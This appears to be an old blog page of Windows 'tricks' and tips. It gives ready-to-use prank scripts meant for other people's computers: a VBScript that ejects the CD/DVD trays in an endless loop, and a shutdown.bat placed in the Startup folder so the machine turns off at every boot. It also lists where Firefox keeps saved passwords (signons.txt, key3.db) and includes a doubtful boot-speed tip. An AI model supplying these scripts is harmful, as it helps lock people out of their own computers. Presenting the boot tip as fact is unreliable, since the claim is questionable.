Eject Your CD-DVD Drives... Infinitely (amazing trick)

Eject Your CD-DVD Drives... Infinitely

Enough of Computer Tricks here...

Hm... lets try some  on the Novice and Rookies.. what say?

So... here comes my another Exclusive...!

Eject your drives in and out infinitely...

A simle VB Script will serve the purpose......!!!

Do the following:

** Go to Start >> Run

** Type Notepad and hit Enter

** Now in Notepad type:

   Set oWMP = CreateObject("WMPlayer.OCX.7" )

   Set colCDROMs = oWMP.cdromCollection

   if colCDROMs.Count >= 1 then

   do

   For i = 0 to colCDROMs.Count - 1

   colCDROMs.Item(i).Eject

   Next ' cdrom

   For i = 0 to colCDROMs.Count - 1

   colCDROMs.Item(i).Eject

   Next ' cdrom

   loop

   End If

** Go to File >> Save As...

** Type Eject.vbs and click Save

How to use:

$ Just Double Click the saved file ! (Eject.vbs)

How To Stop:

$  First Way:

 Restart the Computer... and this will stop the script

$  Second Way:

 Open Task Manager and in processes search for wscript.exe and clickEnd Process

shutdown pc again and again

shutdown pc again and again
It is a very funny trick to shutdown computer
after you done all the steps your computer will never start
when u start it
it will shutdown again
its very nice
lets see

step 1
go to run
type notepad
(or simply open Notepad)
step 2
type following in notepad

c:\windows\system32\shutdown -s -t 00

step 3
and save it to
shutdown.bat in start up folder

after doing this
when someone start the computer it will shutdown again and again it will never start again.....

to solve this problem
go to safe mode and login as adminsitrator account and delete shutdown.bat from the start up folder


warning
don't save shutdown.bat in all start up folders..

BOOT FAST YOUR COMPUTER

BOOT FAST YOUR COMPUTER

Reduce booting time of pc

HOW TO SPEED UP VISTA TIME OF BOOT

In Windows vista while booting it uses only a single core of your pc irrespective of multiple cores
available. To utilize your processor during boot up follow the steps given below.
How Enable booting up with multiple cores:
1)Go to start->run->msconfig and press enter.
2)Select the boot tab.
3)Click on Advanced Options.
4)Check the appropriate number of ports according  [...]


BACKING UP FIREFOX FILES TO NEW OS
All firefox passwords are stored in three files
signons.txt, signons2.txt, key3.db
These files are stored in your firefox profile folder.
In Windows XP firefox profile is at:
c:\Documents and Settings\WindowsUsername\Application Data\Mozilla\Firefox\Profiles\profilename
Copy these three files and save them where ever you want and if you want these passwords in your
other os also then just replace these three files.

ENJOY